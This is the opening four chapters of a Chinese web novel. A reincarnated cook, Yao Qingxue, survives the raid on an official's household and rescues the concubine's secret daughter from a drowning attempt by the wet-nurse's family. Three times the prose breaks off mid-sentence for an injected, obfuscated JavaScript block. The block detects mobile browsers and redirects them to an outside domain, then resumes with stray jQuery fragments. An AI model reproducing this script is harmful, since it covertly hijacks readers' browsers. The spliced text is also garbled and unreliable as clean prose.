《姚厨娘的悠闲生活》 1. 第 1 章 天色微明,张家东厨升起缕缕炊烟。 姚轻雪把猪后腿肉剁成泥,加葱姜等调味,再把昨晚做的皮冻切碎拌进去。今早张夫人要吃她做的灌汤包。 刚把包子放进锅里,就有人找上来:“姚厨娘,吴姨娘想吃馄饨,麻烦你给做。” 姚轻雪点头:“成,不过得等我把夫人的包子蒸好,姨娘等得了吗?” 张侍郎除了正妻王氏外,还有一妾——吴姨娘,她常让姚轻雪做吃食。 “等得了,姨娘最爱吃你做的馄饨。”婢女把一块碎银放到她手里,转身出了灶房。姚轻雪把银子塞进腰间的荷包里。 张家这份工她很满意,有月钱,赏银也不少,尤其是这位吴姨娘,出手大方,每次让她另做饭菜,都会给好处。 听府里人说,张侍郎与正妻不睦,却颇喜欢吴姨娘。不过这一妻一妾关系却不怎么好,张夫人与吴姨娘斗得厉害。主子的事姚轻雪管不着,只要不耽搁她赚银子就成。 瞧见吴姨娘又给姚轻雪送银子,其他人都很羡慕。但也知道那是人凭本事赚的,她们羡慕也羡慕不来。 突然“嘭”的一声,一条鱼重重地摔在地上,鱼的嘴巴一张一合,身体不断扭曲挣扎。李厨娘嘀咕:“桶那么深,怎地跳出来了?”她没让人去管鱼,反正一会儿要杀,早死晚死一样都是死。 众人边干活边闲聊。 “听前院的人说咱们大人昨晚进宫到现在都没回来。” “那是陛下赏识咱们大人,若是大人差事办得好、得了赏,咱们也跟着沾光。” 府中有好事,主子会撒些钱给下人。想到可能有赏钱,大家脸上都多了一丝喜悦。 有人问姚轻雪:“你爷爷的腿好了没?” “好些了,只是不敢用力,还得养段日子。” 李厨娘道:“骨头断了年纪又大,可得养好。老爷子多亏有你这么能干的孙女。年纪轻厨艺却这么好,你做的菜既好看又好吃,酒楼里的大厨都不见得有这手艺。” 一根萝卜不但能刻成花,还能雕成鸟。普普通通一盘菜能让姚厨娘弄出花来,味道更是没的说。开始她们还不服气,日子久了是真心佩服她小小年纪厨艺了得。 姚轻雪笑笑:“我爱吃,也喜欢琢磨,时间久了就琢磨出不少花样。” 这话不过是托词,她前世是厨师,在异世姚家孙女身上重生,做几道新奇菜式对她来说轻而易举。 原身与摆摊卖包子的祖父和病弱的祖母一起生活,日子不算多好但也过得去。不幸的是姚福卖包子时被马车冲撞摔断了腿。或许是祖父突然倒下,让原主对未来心生恐惧,发了几天热人就没了。 姚家多年积蓄都用来给姚福治腿,老头的腿伤得养上几个月,奶奶刘氏体弱多病,要时常吃药。姚轻雪穿过来甚至来不及伤感,就赶紧出去赚钱。 起初她想接替姚福继续卖包子,大钱赚不了,每月二三两还是能赚的。但只卖了两天她便不想干了。 装上笼屉的板车她推起来十分吃力,第一天翻了车,包子扔了一半。第二天有人借拿包子摸她手,还出言调戏:“小娘子的手比包子白。” 若不是她把菜刀拿出来放在面上,指不定要被吃多少豆腐。姚轻雪模样悄,以往姚福都不敢让孙女跟他出去卖包子,就怕被不怀好意的人盯上。 鉴于此,姚轻雪重新考虑了赚钱的法子。思来想去觉着去大户人家做厨娘比较稳妥。不用吃摆摊的苦,待在后厨也不怕被骚扰。等她度过了眼前的难关,攒些银子再另做打算。 于是她找到姚福的熟人牙人李通,李通给姚轻雪介绍来了工部侍郎张家。进府没几日,她就凭几道菜得到张夫人的喜欢,那之后张夫人经常指名姚厨娘做膳食。 厨房内热气蒸腾,大家嘴上说着话,手里可都没停。几个灶上陆续传出香味儿,把猫都引来了。“芽芽这是闻着味儿了?” 芽芽是吴姨娘的爱宠,娇气又挑食,吴姨娘当孩子一样养着,每日的活鱼就是给它准备的。漂亮的白猫迈着四方步来到姚轻雪跟前蹲下,仰着小脑袋盯着她。姚轻雪给这猫做过几次吃食,现在它好像又来讨食了。 “鱼有旁人给你做,回去等着。”姚轻雪撸了会儿它肉乎乎的身子,然后把芽芽放到门外。还不等她转身,就见去前院送水的碧柳急吼吼跑回来:“不好了,大理寺来抓人了。” 众人都懵了,“大理寺?” “抓人?抓谁?” 碧柳说大理寺把张府围了,李厨娘等人扔下手里的东西就往外跑。大理寺干什么的没人不知道,这可是工部侍郎的家,被大理寺围了,十有八九是主子犯了事。不跑绝对落不到好下场。 此时张府乱成一团,哭喊声、叫骂声从正院传来。姚轻雪没经过这个,愣了一下也往外跑。 后院有个小门,平时供下人出入,但姚轻雪不觉得大理寺会错过那个门。她往花园的西北角跑,记得那里放着一口破了边儿的缸,若是幸运她踩着缸就可以翻到墙外。 脸色阴沉的韩泽瞟了一眼跑走的身影,张家连只苍蝇都飞不出去。想跑?哼! 韩泽没理会姚轻雪,循着味儿继续往前走。高飞跟在身后默不作声,他家大人这是心情又不好了。昨晚忙到后半夜,天不亮又过来抄家,他们早就饿得前胸贴后背了。 旁人饿还能忍忍,唯独韩少卿一饿心情就差,看谁都不顺眼,大理寺谁都不敢惹,大理寺卿都不愿意在韩泽饿肚子时找他谈事。 就说刚才进门,张家的门房还想拦,让韩少卿踹出三丈外、口吐鲜血,若不是留他可能还有用,那门房不一定有命在。 姚轻雪不知张家所有人已成瓮中之鳖,她想着能逃就逃,张家的事会不会连累自己谁也说不准。只可惜希望落空, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555684|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花园墙外皆有官兵把手,张宅已被围得水泄不通。 姚轻雪不死心,在花园里沿着墙找机会。路过一处假山时,突然伸出一只手把她拽了过去,嘴巴还被人捂住。那人急切道:“姚厨娘,是我。” 姚轻雪一瞧,是张迁的妾。“姨娘这是做什么?”她把吴姨娘的手从嘴上推开。 吴姨娘瞬间湿了眼眶:“这次张家怕是大难临头了,我死就死了,我那苦命的女儿怎么办?姚厨娘我求你件事。” 女儿?姚轻雪纳闷,她听说吴姨娘进府只生过一个孩子,确实是女儿,但听说后来夭折了,她哪里来的女儿? 还不等她问,吴姨娘自顾自地说起来。原来七年前吴姨娘的女儿出生后不久,张迁唯一的儿子病死了,张夫人说这个女孩不详,要溺死她。 王氏娘家势大,与安国公府有姻亲,吴姨娘自知女儿在张家怕是养不住,就偷偷从外面找了个死婴,把她自己的孩子送走,养在乡下奶娘家。现在张家出了事,作为张迁的妾她很难活命,有自由身的姚轻雪成了唯一可以托付的人。 “若是知道张家出事,奶娘一定不会再管我女儿。我知道姚厨娘你心善,你不是张府家奴,张家的事不会连累你,我求你照顾我女儿。” “这恐怕不行。”姚轻雪果断拒绝,不是她冷血,而是她自身都难保,哪里还能去照顾不相干的人。个人有个人的命,怨不得别人。“若是被人知道我帮你照顾女儿,定然会牵连我,这个忙恕我不能帮。” 吴姨娘急忙拿出一张银票,“这一万两是我偷偷给芽芽攒的,现在全给你,我只求你照顾芽芽长大,将来嫁个好人家。” 这么多年她处处与王氏作对,挨打受罚都咬牙忍下,再装可怜从张迁手里讨银子,就是希望给女儿体面的生活。然而,女儿的将来她看不到了。 姚轻雪皱眉,芽芽?原来吴姨娘用猫寄托对女儿的思念。难怪对猫千好万好。 见她不接银票,吴姨娘“噗通”跪在地上。姚轻雪完全可以先应下她,拿银票后不管芽芽,但她却不要银子,吴姨娘直觉没有找错人,姚轻雪值得托付。 “我求你。”吴姨娘不停地磕头,地上都是碎石子,几下吴姨娘额头便流了血。 姚轻雪不忍,就去拽她:“你先起来。” 吴姨娘起身从怀里拿出一张纸,连同银票一起塞给姚轻雪。“这张藏宝图也给你,张迁酒后说他藏了宝贝。你去找宝贝,找到了金银财宝就都是你的,我只求你一件事,照顾好芽芽。” 大理寺围宅子时,吴姨娘跑去张迁书房想找银票。进去后她直奔榻上的木枕。同床共枕这么多年,吴姨娘对枕边人还是有些了解的。张迁会把重要之物放在头下枕着才觉得安全。 吴姨娘从木枕的暗格里找到这张图,她虽看不懂,但直觉这图不简单,是不是藏宝图不重要,只要姚轻雪相信是就行。 2. 第 2 章 一万两银子外加一份藏宝图,说实话姚轻雪很心动,她太缺银子了。但也清楚有些钱有命拿,却不见得有命花。 远处传来脚步声,吴姨娘抓住姚轻雪的胳膊哀求:“我的女儿就拜托你了,来生我给你当牛做马。” 吴姨娘说完就往外跑,姚轻雪本想去拉她,但听有人高喊:“哪里跑?抓住她。” 姚轻雪慌忙把两页纸塞进亵裤,那里有个暗兜,她自己缝的。待脚步声渐远,她走出假山向正院跑去,跨过雕花门时她回头看了一眼,远处两个士兵驾着披头散发的吴姨娘,而吴姨娘挣扎叫骂吸引了周围所有人的目光。 姚轻雪转头,加快了脚步。 此时张家东厨内,韩泽吃完了整屉灌汤包,颇有些意犹未尽。“厨子不错,可惜了。”主子死罪,奴仆涉事的掉脑袋,没有参与的流放,都没有好下场。 高飞站在锅边吃菜吃了个半包,他也想尝尝包子,但包子只有八个、个头不大,也就够韩泽垫垫肚子。 韩泽吃了东西,脸色稍微好了点,高飞放下筷子一抹嘴:“大人!张迁妻妾已拿住另行关押,张府下人已集中起来。”张迁昨晚进宫,当时就被按住了,现在张家的这些人都是家眷和奴仆。 “核验身份,一个都不能错过。”韩泽抬脚往外走。 张家下人全被赶到正院,姚轻雪也在其中。所有人如热锅上的蚂蚁,有人低声哭泣,看到这些人姚轻雪反而冷静了。 与这些人不同,她是通过牙人进的张府,签的是活契,严格来说不是张家人,不管张迁犯什么事,都算不到她头上,除非是灭九族的重罪,那就没道理可讲了。 “大人!民女有话要说。” 韩泽坐在椅子上,翘着腿,看着姚轻雪淡定地从人群里走出来。 高飞挡在韩泽面前:“何事?” 姚轻雪躬身低头:“民女是张家雇来的厨娘,契约只签一年,西街的牙人李通可以作证。民女来张家尚不足两月,且一直待在后厨,至今未认全府里的所有人。张大、张迁也只见过一面,张家之事民女一概不知,也未曾参与,还望大人明察。” 韩泽皱了下眉,突然鼻子一动,包子她做的?韩大人心情不好时看谁都不顺眼,唯独对厨子有几分耐心。“你若清白,大理寺自然会还你自由。” 高飞指着一边的桌案:“有没有关系不是你说了算,要查后才知,去那边登记。” “多谢大人!”姚轻雪没再纠缠,这个时候多说无益。 等所有人验明身份已近中午,眼看韩大人又要暴躁,高飞赶紧说:“大人,府上大多是买来的奴仆,姚轻雪等五人是良人,如何处置?” 本朝律法规定:主子犯法、家奴同罪,但姚轻雪等人不是奴,按理若与本案无关便可放他们归家。 “先把人关起来,派人查几人的底。”韩泽站起身往外走,他得找地方填肚子,不然想打人。 就这样,姚轻雪被关进大理寺。在又黑又潮的地牢待了七天,经过几轮询问才被放出去。 前头领路的狱卒上了年纪,背着手边走边说:“你运气好,碰上韩少卿主办张家的案子,不然即便是良人,也无人愿替你等出头。” 有人觉得宁可错杀也绝不放过,韩泽极力反对这种做法,他几次向上求情,这才保下一些与本案无关的人。姚轻雪不是家奴又与案件无关,这才被放出来。 “军爷,您可知张家犯的什么事?”她稀里糊涂被关了七天,至今不知道张家所犯何罪? 狱卒回头看一眼她,“问这个做什么?别瞎打听,什么都不知道才能保命。” 姚轻雪忙道:“您说的对,我就是好奇。” “别好奇,小心丢命。”狱卒絮絮叨叨把人送到牢外,重新锁上铁门,转身消失在黑暗里。 乍来到外面,姚轻雪被阳光刺得睁不开眼,她用手挡在额前。 “丫头!” “孙女!” 刘氏与拄着拐的姚福急匆匆走过来,姚轻雪赶忙迎过去扶住姚福:“你们怎么来了?爷你的腿还没好,怎么能乱动呢。” “不碍事,不碍事。”姚福激动的脸都红了。 听说张孙女出事,他来大理寺求见上官,可人家不让进,让他回家等。孙女在里面受苦,他哪里等得了,于是就和老婆子在大理寺牢门外从早守到晚,总算把孙女等出来了。 “出来就好,我孙女受苦了。”刘氏抹了下眼睛:“回家,奶给你做好吃的。” 三人慢慢往家走。姚轻雪要雇辆车,姚福不想花银子。好在葫芦巷离大理寺不算远,即便姚福腿脚不好,三刻钟也到了。 刚到巷子口就看见家门口站了一人。姚福老远就打招呼:“李通你怎么来了?” 李通见姚轻雪全须全尾地回来,脸上大喜:“我来瞧瞧大侄女。” 等三人走近,李通不好意思地说:“轻雪侄女受苦了,是叔没把事办好。” 姚轻雪去工部侍郎家做厨娘是李通牵的线,他早年受过姚福的恩惠,所以姚轻雪找他帮忙,他尽心尽力,只是没想到会出这种事。大理寺有些年头没抄官员的家了,近几年头一回让姚轻雪赶上了,李通也暗叹这孩子运气不好。 “李叔,跟您没有关系,就是赶巧了。”谁能想到朝中大员说倒就倒?李通消息再灵通也没本事知晓朝中事。 刘氏打开门,几人进屋坐下。李通:“这次是我看走眼了,对不住侄女,我这有份更好的活儿。安国公府这几天正在找帮厨,那是开国功臣,谁倒赵家也倒不了,我也打听过了赵家对下人和善,我寻思让轻雪过去。” 李通在京城做牙人多年,消息灵通,哪些大户给的工钱高事儿又少,哪家主子和善,他都有了解。给旁人介绍最少也得收一两银子,姚福对他有恩,他一文都不要。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555685|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通爹娘早逝,很小就一个人生活。常吃了上顿没下顿,姚福见他可怜总给他卖剩下的包子。有一年冬天雪大天也冷,他家的破屋被雪压塌了,是姚福收留了他,没让他死在那个严冬里。所以只要姚家有事,李通都会尽力帮。 “不成。”刘氏摆手,“轻雪进大牢差点没把我和她爷吓死。孙女就在家待着,哪儿都不去。我今后不吃药了,银子省下来,不去不去。” 姚福也道:“我这腿好的差不多了,过几天就能出去卖包子,轻雪不去伺候人。” “我去。”姚轻雪对二老道:“上次是意外,安国公府受陛下恩宠,和张家不一样,这次大可放心。” 在张家做工近两个月,却只拿了上个月的钱,这个月还没到发月钱的日子张家就被抄了。原本荷包里有几块碎银,在牢里她不知外面什么情况,等的心焦便给了狱卒打探消息,结果一点有用的没听到。 姚福的腿还没好利索,根本用不了力,哪能推车卖包子。刘氏瞧着脸色不大好,估计这两天因为她没少着急上火,又该吃药了,她不出去做工哪来的银子? 姚福和刘氏都劝孙女,姚轻雪坚持:“这么好的事,若不是有李叔哪里轮得到我,而且我也想去见见世面。” 见孙女铁了心,老两口只好同意。 “我想歇一日,后日去成不?李叔!”姚轻雪问。 “遭了几天罪,是该歇歇。”李通起身,“国公府那边我拖一日不打紧。” 送走李通,姚福和刘氏把孙女一顿数落,姚轻雪听着也不回嘴。原身被老两口娇养着,没吃过苦,不然也不会姚福一倒她的天就塌了。现在她却不能让两个老人养自己。 见她低头不说话,刘氏叹气,姑娘大了,自己有主意了。以前叫做什么做什么,现在都能替他们做主了。 “奶,机会难得。李叔都说安国公府名声好工钱高,这么好的事别人都抢着去,要不是有李叔帮忙,我还进不去呢。”姚轻雪给老太太揉肩,“爷的腿若是落下病根,您不心疼?我就去一年,等爷把腿养好能卖包子了,我就回来。再说总不能让你们养我一辈子。” 刘氏叹气,是她拖累了这个家,不然孙女早出嫁了,何苦出去给人做工。她这病从娘胎里带出来的,因为这个病孩子都不能生,能活到现在已经是老天开眼看。 刘氏起身:“你去洗洗,我去买肉包饺子。” 姚轻雪挽着老太太的胳膊:“奶,我想吃面条,还要荷包蛋。”家里的现状不容许吃肉,吃碗面已经很好了。姚家做包子,去年秋面倒是存了不少。 “好!我这就给你做去。”刘氏先烧了热水,帮着把水兑好,才去做面条。 关上房门,姚轻雪火急火燎脱下衣服,从小裤的兜里拿出两张纸。一张是一万两的银票,另一张所谓藏宝图她还没来得及看。 如今拿在手里仔细一瞧,姚轻雪傻眼,这是什么玩意儿? 3. 第 3 章 巴掌大的纸上只有几条不规则的线,一个字都没有,藏宝图不是应该标明地点吗?就这么几条线,说是有人乱花的她都信。 姚轻雪皱眉,吴姨娘骗她? 不大可能,吴姨娘已有一万两做筹码,她没必要撒谎,而且谎言这么容易被拆穿,吴姨娘就不怕对她女儿不利? 难道另有玄机?姚轻雪把图仔仔细细看了数遍,横着、竖着,反过来、倒过去。看着像是一座山,却也不能完全确定,怎么看都没看出门道。 谁家藏宝图这么随意啊?她把图往桌上一拍,进了浴桶。即便是藏宝图,张迁难道不会说出来换命?哪里轮得到自己找?所以这图大概没什么用。 这事先放一边,吴姨娘的女儿该怎么办?所谓的藏宝图背后写了个地址:京城十里铺老牛沟张力,墨迹看上去刚写不久,应该是那个奶娘家的住址。 不等想出法子,刘氏喊她吃饭。吃了碗热面,姚轻雪回屋睡觉。这些天吃不好睡不好、提心吊胆,身体累得很,但她躺在床上却睡不着。 姚轻雪拿着一万两银票发愁,这银子是吴姨娘给女儿攒的,虽然吴姨娘说只要帮忙养那个小姑娘,这银子就归自己,但姚轻雪没有替别人养孩子的打算。 家里有两老人需要照顾,她哪里还能管一个孩子。况且芽芽的身份搞不好就是个雷,她不敢冒险。 可眼下姚家缺银子,姚福的腿要用银子,刘氏的病也要银子。若不安置好吴姨娘的女儿,这银子她再昧下,良心会不安。 哎!不想做好人,却也做不了坏人,姚轻雪叹气。 按理说她该把银子还给芽芽,但那么小的孩子能守住银子吗?一万两不是小数目,没有人不动心。若奶娘把银子骗去,又弃养芽芽那是姚轻雪不想看到的。 奶娘一家良善,她分期给钱也不是不可以,如此她还能用这笔银子应应急。姚轻雪把银票收好,决定明日去一趟十里铺老牛沟亲眼看一看。 这一觉姚轻雪从下午睡到次日天光大亮,要不是准备出城,她还不想起。刘氏把炖了一个时辰的老母鸡端上来。 “奶,哪来的鸡?”姚轻雪看着盆里完整的鸡纳闷。 刘氏盛了一碗面,浇上鸡汤放在孙女面前。“我把那只芦花鸡杀了,反正它也不爱下蛋。” 她家屋后养了几只鸡用来下蛋,平常刘氏宝贝的很,今日却舍得把鸡杀了,姚轻雪知道是为了她。老两口对孙女没得说,家里最好的东西都紧着她。 姚轻雪掰下两只鸡大腿,一只给姚福,一只给刘氏。俩人不要,姚轻雪:“你们不吃,我也不吃。放着等着坏了吧。” 二老没办法,只好接过鸡腿。姚轻雪不让他们放下,盯着两人把鸡腿吃了,她这才就着鸡汤吃了一碗面,鸡肉倒是没吃多少。她打算晚上回回锅,三人一起吃。 饭后姚轻雪说要去看一个朋友,下午回来。刘氏给她数了二十个铜板,反复叮嘱她注意安全,这才放她出门。 到了街上,姚轻雪打听城外十里铺老牛沟,有人告诉她那地方远着呢,说是十里铺,但从这去起码得二十里。 走着去肯定是不行,她也不认识路,于是姚轻雪花八文钱雇了一辆驴车。马车更快但价钱也更贵。 出于安全考虑姚轻雪找了年纪大的车夫,她也没透漏自己没去过老牛沟,就说去走亲戚。一路无话,驴车走了快两个时辰才到老牛沟村口。 付了车钱,等看不见车夫影儿了,姚轻雪才往村里去。此时已经快到正午,太阳热得很,田里都没什么人干活。 村口倒有两个孩子玩泥巴。姚轻雪走过去打听张力家在哪儿?穿开裆裤的小孩儿抬手一指:“就这家。” 姚轻雪一瞧,村口这间院子院墙用砖和石头砌成,房子青砖灰瓦,气派得很。与村里低矮的茅草屋形成鲜明的对比。放眼望去,整个老牛沟没有哪家房子比得过张家。 张家原本就家境不错?还是从吴姨娘那得了不少好处?仔细一想姚轻雪就明白了。房子看样子盖起来没几年,况且若是家境本就富裕,也用不着女人去给别人做奶娘。 看来吴姨娘为了女儿,没少给张家送银子。若是如此,张家应该不会对亏待芽芽。不过这只是自己的猜想。 姚轻雪想问问那两个小孩儿。哪知人家娘喊他们回家吃饭,两个小娃子扔了手里的泥巴团颠颠跑回家。 左右无人,太阳又晒,姚轻雪就在张家的墙根坐下。大约过了有两刻钟,张家院内传来说话声。姚轻雪屏住呼吸。 一个男人压低声音道:“那死丫头要一直养着?她爹犯了死罪,那一家子都活不了,咱们以后都拿不到银子,还养她做什么?要我说把她赶出去算了。” “好歹是我奶大的,咋能说撵出去就撵出去,再说她是张家的孩子,若是被人知道咱家窝藏罪臣血脉,我们全家都得下大狱。” 之后一阵沉默,片刻后,那男人又道:“那就一不做二不休……”后面的话姚轻雪耳朵贴在墙上也没听清。 男人的话让姚轻雪的心提了起来,一不做二不休是什么意思? 这时远处走来一个小小的身影,确切地说是背着背篓的孩子。背篓里装着满满的青草,背篓之大已经把下面的孩子压弯了腰。 村里孩子帮家里干活、打猪草很正常,只是大中午的还让孩子去打猪草似乎有些不近人情。姚轻雪并未太在意,村民日子苦,孩子也没那么娇气。她想着张家会如何对待芽芽? 背着背篓的孩子专注脚下的路,所以并未看见张家墙外的姚轻雪。她走到张家大门前深吸一口气,而后小心地推开门。 姚轻雪瞪大了眼睛,这个是女孩儿,还进了张家,她似乎意识到了什么。 很快院内传来女人的训斥:“叫你打猪草就打了这么点儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555686|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好日子过惯了,这点儿活都干不了。” 这声音是奶娘,此刻姚轻雪确定:张家并非良善。奶娘与他男人一丘之貉,都不是好东西。芽芽若是留在张家,怕是要吃苦头,能不能长大都难说。 姚轻雪坐在墙下发愁,说实话她来之前净往好处想了,谁知道张家这么不是东西。怎么办?她要把小姑娘接走吗?有吴姨娘留的银子,给芽芽找户好人家收养也不是不可以。 问题是要怎么把孩子带走? 芽芽虽然没有上张家族谱,但确确实实是罪臣张迁的女儿,起码奶娘一家是知情的。她若露脸会不会给姚家惹来麻烦?偷偷把人带走?可小姑娘会信她吗? 时间一点点过去,姚轻雪心中万分焦急。就在这时张家大门微响,好像是有人出来。姚轻雪弯腰悄悄走到墙的另一侧。刚蹲下就听奶娘说:“芽芽,娘带你去找你亲娘去,她想见你。” 小姑娘眼睛一亮,“真的吗?” 她早就知道张婆子不是她亲娘,张婆子和张力夜里说悄悄话她听见了。但她只知道亲娘是一个大官的妾,亲爹不要她,所以她娘就把她养在奶娘家里。 小妾娘经常给她送来衣服和吃的,也给张家银子,但一次都没来看过她。张家人对她还不错,可是几日前他们的态度突然变了。让她穿张武的破衣服,还让她去干活,吃饭也不让她吃饱。 芽芽不懂这是为什么?是不是亲娘也不要她了?所以张家才会这么待她?现在听见要去见亲娘,小姑娘很高兴。 张婆子牵着芽芽的手与丈夫对视一眼,两人看了看周围,然后带着芽芽快速往村外去。 姚轻雪跟在三人身后,心都快从嗓子眼里跳出来了。吴姨娘现在是生是死她在牢里都没打听到,奶娘去哪里给芽芽找娘?这夫妻俩怕是没按好心,但具体要做什么,姚轻雪倒想亲眼瞧一瞧。 张婆子和张力二人带着芽芽走进村外的蒿草中,乡下的沟边坑坑洼洼,姚轻雪跟得有些吃力,被甩开了一段路。 等她拨开蒿草往前看,就见张家的男人把芽芽按在水中。姚轻雪吓坏了,一屁股坐到地上。原来他说的一不做二不休是要弄死芽芽。 这边的动静惊得张大力松了手,毕竟做贼心虚。 “死了,快走,别让人看见咱们。”张婆子拽着丈夫,两人往另一个方向跑去。 姚轻雪跌跌撞撞奔去河边,眼见芽芽顺着河水往远处漂。她转身扒开蒿草跳进水里,终于在芽芽即将漂走时抓住了她。 把芽芽拖到岸边,姚轻雪把她头朝下拍后背,没反应。把她放倒开始胸外按压,按几下还是没反应。紧接着往小姑娘嘴里吹气。如此反复,芽芽依然双眼紧闭,没有任何反应。 姚轻雪都哭了,她十分自责,要不是她瞻前顾后、总想着自己,就不会让这孩子丧命。她发誓芽芽死了,她一定去大理寺报案,让张家夫妻偿命。 4. 第 4 章 姚轻雪始终没停,一直对小姑娘施救。 “咳咳……”在她不懈努力下,芽芽终于缓过一口气。 小姑娘睁开眼,想问:你是谁?张了张嘴却说不出话。 姚轻雪跌坐到地上,“芽芽!别怕,你娘叫我来接你。” 小姑娘瞬间眼泪横流,含糊地说出一个字:“娘?!” “对,你娘,你亲娘。”姚轻雪艰难地站起来,“咱们得走了。”她小腿钻心的疼,刚才下河时被什么东西划了一下,当时没注意,这会儿也顾不上。 她怕张家夫妻发觉不对再返回来,她一个人对付不了他们,得赶紧离开这地方。姚轻雪背起芽芽没上岸,她忍着小腿疼痛咬牙在河里走。 岸上尽是杂草,不好走,而且她俩浑身都湿透了,走过的地方必定会留下水迹,张家夫妻顺着追,她俩跑不了。 来时姚轻雪路过这条河,她知道往哪边走能走出老牛沟。好在河水不深,不到她膝盖。在水里走了大约一刻钟,终于走到路边。 姚轻雪背着芽芽爬上去,等到了路上,她的腿已经抖得不成样子,与背上的芽芽一起跌倒在地。幸好早饭吃得晚、吃得饱,不然她不一定有体力支撑到现在。 姚轻雪撩起裤腿,小腿靠近脚踝位置有条一指长的口子,这会儿伤口被水泡的发白。她拿出湿漉漉的帕子拧干,把伤口系紧。短暂休息了下,背起芽芽继续赶路,只要离开老牛沟的地界就没人认识芽芽,他们就安全了。 很幸运,俩人走了二三里都没碰见人,又走了大约一里来地,才遇见拉脚的马车。到葫芦巷还有十多里,车夫跟她要十五文,姚轻雪好说歹说人家才同意十二文钱。出门时刘氏给的二十文钱一文没剩。 车夫回头看她俩:“你姐俩这是去哪了?弄成这样?”她把姚轻雪和芽芽当姐妹了。 两人的样子实在说不上好,头发凌乱,衣服脏兮兮,姚轻雪裤腿上还有些许红,看着很狼狈。 “我带妹妹想抄近路,结果钻山里出不来,还摔进河里,我妹都吓着了,回城得给她请个郎中瞧瞧。”姚轻雪搂着瑟瑟发抖的芽芽说道。 “这么回事啊。”车夫应了一句,扬起鞭子,大黑马嘶鸣一声跑起来。 路上芽芽始终没有说话。回到家,刘氏看见姚轻雪的模样,吓得声都变了:“这是咋了?”她想看看孙女有没有受伤,往她背后一瞧又吓了一跳:“这谁家孩子?” “奶,过会儿再跟你说,帮我烧热水,我俩得洗洗。”回到屋里姚轻雪把她前几年的衣服找出来,她家没有小孩子衣服,只能用她的凑合穿。 芽芽愣愣的,姚轻雪怎么摆弄她都不吭声,看来是吓坏了。 “芽芽,不怕,害你的人找不到这。”姚轻雪边给她换衣服边安慰。衣服脱下后,芽芽脖子上的指印触目惊心。 畜生不如的东西,他们怎么敢?姚轻雪恨得咬牙。 听到姚轻雪说话,芽芽终于有了反应,她抬头问:“我、娘呢?” 姚轻雪柔声道:“芽芽知道你爹是谁吗?” 小姑娘摇头,姚轻雪又问:“你娘呢?” 芽芽再次摇头。 姚轻雪长舒一口气,不知道就好,现在也不必知道。“芽芽,你爹和你娘去了南边儿,离京城很远很远,走之前你娘把你托付给我,等你长大了他们会来接你。” 小姑娘刚刚受了刺激,现在不能再打击她,姚轻雪选择欺骗。哪知小姑娘眼唰唰往下掉:“你骗人,张婆子说我爹犯了死罪,要被砍头,我娘活不了,我也要被砍头。”按她下水前,张婆子说她得死,不然会连累他们家。 姚轻雪叹气,知道也好,免得以后吵着跟她要爹娘。“既然你知道我就不骗你了,你爹犯了死罪,你娘、也的确活不了,所以芽芽、” 姚轻雪板着她的肩膀郑重告诫:“你不能告诉任何人你的事,张家人怕是以为你死了,除了我这世上没人知道你的身世,没人知道你才能活命,你懂吗?” 芽芽抽噎着愣了一会儿才轻轻点头:“我知道,我不会说出去。” “好!”姚轻雪松了口气,还好是懂事的孩子。 “这是怎么了?”刘氏想叫她们洗澡,进来就看见陌生的小姑娘哭得上气不接下气。 “奶!这孩子爹娘都死了,她难过。” 刘氏惊讶地看看小丫头,没问什么。“带她去洗洗吧,瞧你俩身上脏的。” 两人洗了澡、换上干净的衣服。姚轻雪跟刘氏要来伤药。姚福总干活,有时不注意手指就多道口子,刘氏就给备着伤药。 “这得多疼啊!”刘氏看着孙女腿上的口子揪心。 姚轻雪咬着牙,用姚福的白酒给伤口消毒,然后再涂上药粉。“没事,奶,伤口不深。”只要不感染,养几天就好了。 “你到底去哪儿了?这孩子你从哪里背回来的?”刘氏忧心忡忡。 孙女惯常听话,以前很少出门。今早说要出们她就担心,但想着姑娘都这么大了,也不能总拘着她,多交朋友也好,哪成想不但带伤回来,还背回来个孩子。 “奶,先不说这个,有吃的吗?我快饿死了。” “做好了,出来吃吧。”两人洗澡时,刘氏就准备饭了。早上剩下的鸡热一热,再烙几张饼。姚轻雪吃的狼吞虎咽,芽芽却没吃几口。 饭后姚轻雪让芽芽在她房里睡觉,她得跟爷奶交代一下。明日她要离家,想给芽芽找户好人家收养也来不及,小姑娘只能暂时养在家里。至于以后自己养?还是送走?只能等她下次从安国公府回来再决定。 姚家情况特殊,姚轻雪觉得芽芽最好在有爹有娘的家里长大比较好,不然像她这样,从小被人说没爹没娘,导致原主胆小又自卑。 她没跟姚家老两口说实情,只说这孩子是她半路捡到的,死了爹娘。 姚福听后叹气:“这么小自己也没法活,左右不过多双筷子,养着吧 